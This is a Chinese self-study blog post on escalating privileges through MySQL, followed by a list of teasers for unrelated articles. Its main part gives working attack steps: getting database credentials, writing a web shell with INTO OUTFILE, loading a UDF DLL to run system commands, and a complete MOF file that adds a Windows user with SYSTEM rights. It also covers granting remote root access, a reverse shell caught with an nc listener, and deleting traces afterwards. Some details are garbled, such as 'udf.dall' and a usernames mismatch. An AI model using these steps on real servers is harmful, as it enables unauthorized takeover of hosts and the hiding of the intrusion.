mysql提权总结(自学)
目录
MySQL数据库提权简介
UDF提权
原理
利用条件
利用准备
利用过程
MOF提权
原理
利用条件
利用过程
自启动提权
反弹shell提权
总结
MySQL数据库提权简介
一般数据库提权思路:
- 检测数据库的存在(探测端口)
- 获取到数据库的权限密码
- 查看数据库的类型分类
最主要的就是要获取到数据库的账号密码,获取方式大概有:
- 读取网站的配置文件
- 读取数据库备份文件下的库中的表的信息,例如MySQL数据库在mysql_user表中存储账户密码,使用cmd5-mysql5解码
- 暴力破解账户密码,需要支持外联(mysql默认不支持)。可以使用密码脚本在本地爆破,也可以使用工具如msf的scanner mysql_login模块
MySQL数据库提权方式主要有三种
- 使用sqlmap的--os-shell
- 使用写入一句话木马,union select 1,一句话木马,3 into outfile/dumpfile 文件路径
- udf提权
- mof提权
- 启动项提权-反弹shell-exp提权
UDF提权
原理
MySQL内置函数不满足需要,所以MySQL提供了添加新函数的机制,自行添加的MySQL函数就称作UDF(User-Defined-Function)。
用户可以自定义提权的函数(比如执行系统命令函数)来进行提权。
MySQL版本大于5.1版本:udf.dll文件必须放置在MySQL安装目录下的lib\plugin文件夹下
MySQL版本小于5.1版本:udf.dll文件在Window2003下放置在C:\Windows\System32下;在Windows2000放置在C:\Winnt\System32
利用条件
- 获取到MySQL权限,或者说获取到MySQL账号密码,能够调用MySQL语句
- MySQL具有写入功能,也就是secure_file_priv值不为具体值或者为固定某值,可以用SQL语句查询:
show global variables like 'secure%'; - 要有root权限,且要允许外连。root账户允许外连的SQL语句:
grant all PRIVILEGS on *.* to 'root'@'192.168.15.249' identified by '112358';
利用准备
1、熟悉对方的MySQL目录结构和主机型号,使用SQL命令查看:
show variables like '%compile%';
2、确定MySQL的目录结构,搜索位置
show variables like '%plugin%'; #查找具体目录
select @@basedir; #查看MySQL目录
3、kali里面其实有自带的udf提权脚本,并且有32位和64位的版本,目录位置:
/usr/share/metasploit-framework/data/exploits/mysql
利用过程
- 如果有文件上传漏洞,可以使用蚁剑等工具连接之后,然后直接将提权脚本文件放入lib\plugin目录下,然后使用mysql终端,创建自定义函数sys_eval
create function sys_eval returns string soname 'udf.dall'; - 直接在mysql终端创建目录,导入文件
create table temp(data longblob); #以二进制数据流容器longblob创建临时data表 insert into temp(data) values (unhex('udf文件的16进制格式')); #将udf.dll脚本的十六进制写入data表 select data from temp into dumpfile "xxx\\xxx\\lib\\plugin\\udf.dll"; #将udf文件导入到指定目录 create function sys_eval returns string soname 'udf.dll'; #创建自定义函数sys_eval - 调用脚本创建sys_eval函数 ,可以使用kali自带脚本也可以用msf进行提权
最后为了删除痕迹,要把刚刚新建的data表删掉。
MOF提权
原理
类似于udf提权,但成功率低,简单总结来说就是替换原来文件,然后利用自启动原理执行文件进行提权。
在Windows系统下,存在一个mof文件,路径C:/Windows/System32/wbem/mof/nullevt.mof,它的特点为每隔极短一段时间,便会以System权限自动运行文件内脚本,mof提权就是利用这点,将写好的mof文件导入该目录中,让它自动执行代码。
利用条件
- 有mysql账号和密码
- 目录可写入
利用过程
select load_file('mof文件路径') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'
#pragma namespace(“\\\\.\\root\\subscription”)
instance of __EventFilter as $EventFilter
{
EventNamespace = “Root\\Cimv2”;
Name = “filtP2”;
Query = “Select * From __InstanceModificationEvent “
“Where TargetInstance Isa \”Win32_LocalTime\” “
“And TargetInstance.Second = 5”;
QueryLanguage = “WQL”;
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = “consPCSV2”;
ScriptingEngine = “JScript”;
ScriptText =
“var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user secist 123 /add\”)“;
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
执行完毕替换net user hsy 123456 /add换为
net localgroup administrators hsy/add 即可将用户提升管理员权限
自启动提权
利用条件:mysql开启外连;知道账号密码
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '密码' WITH GRANT OPTION;
使用msf 搜索使用mysql start-up模块 设置目标IP 账号密码 还可以写入反弹shell接受IP 写入启动项 需要对方启动系统,如果权限不够高,可以尝试反弹shell能否获取更高权限
反弹shell提权
mysql创建反弹函数select backshell(‘发送到的ip地址’,‘端口’),kali使用nc监听本地(攻击机)IP nc -l(本地)-p 端口
总结
- mysql提权有很多种方法,有通过sqlmap的--os-shell、通过写入文件(outfile/dumpfile)、通过udf提权、通过mof提权、通过自启动提权等等
- mysql提权需要的三个条件:要有能够执行数据库语句的权限(知道数据库账号密码);mysql数据库要有能够写入的权限,secure_file_priv的值不为具体值或者为某个具体值(为null表示禁止导入导出);mysql账号要有root权限,或者是有root权限的其他用户,且要允许外连
- UDF提权原理是因为mysql提供自定义函数的功能,所以可以自定义提权的函数(例如命令执行等),而udf.dll文件放在数据库目录下的lib/plugin下
- UDF提权利用方式可以通过蚁剑连接上传脚本后直接将udf.dll放置在目录下然后进行创建函数;也可以通过mysql命令语句执行,先创建表然后将文件内容的16进制传入表中,然后再通过写入文件函数dumpfile写入指定目录,最后再创建函数;还可以利用脚本进行创建函数(kali有自带的脚本,也可以通过msf等的脚本利用工具)。
- MOF提权相对于UDF提权相对利用率较低,它是专门针对Windows提权的。原理是因为Windows下有一个mof文件,路径在C:/Windows/system32/webm/mog/nullevt.mof下,它特点是每隔一段时间,系统就会以root权限去执行这个文件,利用这一点就可以进行利用。
相关文章:
mysql提权总结(自学)
目录 MySQL数据库提权简介 UDF提权 原理 利用条件 利用准备 利用过程 MOF提权 原理 利用条件 利用过程 自启动提权 反弹shell提权 总结 MySQL数据库提权简介 一般数据库提权思路: 检测数据库的存在(探测端口)获取到数据库的权限…...
[数据集][目标检测]铝片表面工业缺陷检测数据集VOC+YOLO格式400张4类别
数据集格式:Pascal VOC格式YOLO格式(不包含分割路径的txt文件,仅仅包含jpg图片以及对应的VOC格式xml文件和yolo格式txt文件) 图片数量(jpg文件个数):400 标注数量(xml文件个数):400 标注数量(txt文件个数):400 标注类别…...
晶体管-二极管三极管MOS管选型参数总结
🏡《总目录》 目录 1,概述2,二极管选型参数2.1,类型(Type)2.2,最大整流电流(IF)2.3,反向击穿电压(VRRM)2.4,正向压降(VF)2.5,反向电流(IR)2.6,结温(Tj)2.7,热阻(Rth)2.8,频率特性2.9,包装类型...
ssh命令——安全远程连接Linux服务器
ssh命令是Secure Shell的简写,其功能是安全地远程连接服务器,ssh是OpenSSH套件中的客户端连接工具,通过SSH加密协议进行远程主机访问,并对远程服务器进行管理。 ssh命令的基本语法格式如下: ssh [选项] 主机名或IP地…...
Ansible非标记语言YAML与任务剧本Playbook
前言 上篇介绍了 Ansible 单模块(AD-Hoc)的相关内容Ansible自动化运维Inventory与Ad-Hoc-CSDN博客,Ad-Hoc 命令是一次性的、即时执行的命令,用于在远程主机上执行特定任务,这些命令通常用于快速执行简单的任务。当需要…...
WPF监控平台(科技大屏)[一]
跟着B站的视频敲了一个略微复杂的WPF界面,链接如下.在这里我详细的写一份博客进行设计总结. 系统介绍和配置及主窗口设计_哔哩哔哩_bilibilihttps://www.bilibili.com/video/BV1Wy421Y7QD?p1&vd_source4796b18a2e4c1ec8a310391a5644b6da 成果展示 实现过程 总体来说,我的…...
HTML详细教程
文章目录 前言一、快速开发网站最简模板二、HTML标签1.编码2.title3.标题4.div和span5.超链接6.图片7.列表8.表格9.input系列10.下拉框11.多行文本 三、GET方式和POST方式1.GET请求2.POST请求 前言 HTML的全称为超文本标记语言,是一种标记语言,是网站开发…...
【excel】常用的50个函数与基础操作(统计函数)
统计函数 (1)数组函数操作 1.【SUM】求和 SUM(数字1,数字2,数字3…) 2.【SUMIF】单条件求和 SUMIF (条件区域,条件,求和区域) 3.【SUMIFS】(单)多条件求和…...
MATLAB中的cell数组和结构体
MATLAB中的Cell数组和结构体 MATLAB作为一种高级编程语言和数值计算环境,为用户提供了多种数据结构,以便更灵活、高效地处理数据。其中,cell数组和结构体是两种非常重要的数据结构,它们在MATLAB编程和数据管理中发挥着关键作用。…...
Python深度学习之路:TensorFlow与PyTorch对比【第140篇—Python实现】
👽发现宝藏 前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。【点击进入巨牛的人工智能学习网站】。 Python深度学习之路:TensorFlow与PyTorch对比 在深度学习领域,Tens…...
Unity中UGUI中的PSD导入工具的原理和作用
先说一下PSD导入工具的作用,比如在和美术同事合作开发一个背包UI业务系统时,美术做好效果图后,程序在UGUI中制作好界面,美术说这个图差了2像素,那个图位置不对差了1像素,另外一个图大小不对等等一系列零碎的…...
删除 Oracle 软件和数据库教程
1.使用 deinstall 工具删除安装的 Oracle 软件的可执行文件和配置文件 [oracleocpstudy admin]$ cd $ORACLE_HOME [oracleocpstudy db_1]$ cd deinstall [oracleocpstudy deinstall]$ ls bootstrap_files.lst bootstrap.pl deinstall deinstall.pl deinstall.xml jlib …...
C语言自学笔记8----C语言Switch语句
C 语言 switch 语句 switch语句使我们可以执行许多代替方案中的一个代码块。 虽然您可以使用if…else…if阶梯执行相同的操作。但是,switch语句的语法更容易读写。 switch … case的语法 switch (expression) { case constant1: // 语句 break; case constant2: // …...
分布式搜索引擎(3)
1.数据聚合 **[聚合(](https://www.elastic.co/guide/en/elasticsearch/reference/current/search-aggregations.html)[aggregations](https://www.elastic.co/guide/en/elasticsearch/reference/current/search-aggregations.html)[)](https://www.ela…...
PostgreSQL开发与实战(6.3)体系结构3
作者:太阳 四、物理结构 4.1 软件安装目录 bin //二进制可执行文件 include //头文件目录 lib //动态库文件 share //文档以及配置模版文件4.2 数据目录 4.2.1 参数文件 pg_hba.conf //认证配置文件 p…...
ISIS接口MD5 算法认证实验简述
默认情况下,ISIS接口认证通过在ISIS协议数据单元(PDU)中添加认证字段,例如:MD5 算法,用于验证发送方的身份。 ISIS接口认证防止未经授权的设备加入到网络中,并确保邻居之间的通信是可信的。它可…...
Vue项目的搭建
Node.js 下载 Node.js — Download (nodejs.org)https://nodejs.org/en/download/ 安装 测试 winR->cmd执行 node -v配置 在安装目录下创建两个子文件夹node_cache和node_global,我的就是 D:\nodejs\node_cache D:\nodejs\node_global 在node_global文件下再创建一个…...
ABB新款ACS880-04-650A-3逆变器模块ACS88004650A3加急发货
全球商业别名:ACS880-04-650A-3 产品编号:3AUA0000137885 ABB型号名称:ACS880-04-650A-3 目录描述:低压交流工业单传动模块,IEC:Pn 355 kW,650 A,400 V,UL:Pl…...
Science Robotics 封面论文:美国宇航局喷气推进实验室开发了自主蛇形机器人,用于冰雪世界探索
人们对探索冰冷的卫星(如土卫二)的兴趣越来越大,这可能具有天体生物学意义。然而,由于地表或冰口内的环境极端,获取样本具有挑战性。美国宇航局的喷气推进实验室正在开发一种名为Exobiology Extant Life Surveyor&…...
flutter环境搭建实践
Dart Dart 是一种客户端和服务器端的编程语言,最早由 Google 提出。它被设计用于构建高性能、高度可伸缩和可靠的应用程序。Dart 可以编译成本地代码或者在虚拟机中直接运行。在移动应用开发中,Dart 主要用于开发 Flutter 应用。 Flutter 和 Dart 的关…...
RestClient
什么是RestClient RestClient 是 Elasticsearch 官方提供的 Java 低级 REST 客户端,它允许HTTP与Elasticsearch 集群通信,而无需处理 JSON 序列化/反序列化等底层细节。它是 Elasticsearch Java API 客户端的基础。 RestClient 主要特点 轻量级ÿ…...
模型参数、模型存储精度、参数与显存
模型参数量衡量单位 M:百万(Million) B:十亿(Billion) 1 B 1000 M 1B 1000M 1B1000M 参数存储精度 模型参数是固定的,但是一个参数所表示多少字节不一定,需要看这个参数以什么…...
推荐 github 项目:GeminiImageApp(图片生成方向,可以做一定的素材)
推荐 github 项目:GeminiImageApp(图片生成方向,可以做一定的素材) 这个项目能干嘛? 使用 gemini 2.0 的 api 和 google 其他的 api 来做衍生处理 简化和优化了文生图和图生图的行为(我的最主要) 并且有一些目标检测和切割(我用不到) 视频和 imagefx 因为没 a…...
uniapp 开发ios, xcode 提交app store connect 和 testflight内测
uniapp 中配置 配置manifest 文档:manifest.json 应用配置 | uni-app官网 hbuilderx中本地打包 下载IOS最新SDK 开发环境 | uni小程序SDK hbulderx 版本号:4.66 对应的sdk版本 4.66 两者必须一致 本地打包的资源导入到SDK 导入资源 | uni小程序SDK …...
为什么要创建 Vue 实例
核心原因:Vue 需要一个「控制中心」来驱动整个应用 你可以把 Vue 实例想象成你应用的**「大脑」或「引擎」。它负责协调模板、数据、逻辑和行为,将它们变成一个活的、可交互的应用**。没有这个实例,你的代码只是一堆静态的 HTML、JavaScript 变量和函数,无法「活」起来。 …...
【Linux】Linux安装并配置RabbitMQ
目录 1. 安装 Erlang 2. 安装 RabbitMQ 2.1.添加 RabbitMQ 仓库 2.2.安装 RabbitMQ 3.配置 3.1.启动和管理服务 4. 访问管理界面 5.安装问题 6.修改密码 7.修改端口 7.1.找到文件 7.2.修改文件 1. 安装 Erlang 由于 RabbitMQ 是用 Erlang 编写的,需要先安…...
英国云服务器上安装宝塔面板(BT Panel)
在英国云服务器上安装宝塔面板(BT Panel) 是完全可行的,尤其适合需要远程管理Linux服务器、快速部署网站、数据库、FTP、SSL证书等服务的用户。宝塔面板以其可视化操作界面和强大的功能广受国内用户欢迎,虽然官方主要面向中国大陆…...
零基础在实践中学习网络安全-皮卡丘靶场(第十一期-目录遍历模块)
经过前面几期的内容我们学习了很多网络安全的知识,而这期内容就涉及到了前面的第六期-RCE模块,第七期-File inclusion模块,第八期-Unsafe Filedownload模块。 什么是"遍历"呢:对学过一些开发语言的朋友来说应该知道&…...
GitHub 常见高频问题与解决方案(实用手册)
1.Push 提示权限错误(Permission denied) 问题: Bash Permission denied (publickey) fatal: Could not read from remote repository. 原因: 没有配置 SSH key 或使用了 HTTPS 而没有权限…...
Tableau for mac 驱动
Tableau 驱动程序安装指南 对于希望在 Mac OS 上使用 Tableau 进行数据分析的用户来说,确保正确安装相应的驱动程序至关重要。Tableau 支持多种数据库连接方式,并提供官方文档指导如何设置这些连接。 安装适用于 Mac 的 JDBC 或 ODBC 驱动程序 为了使…...
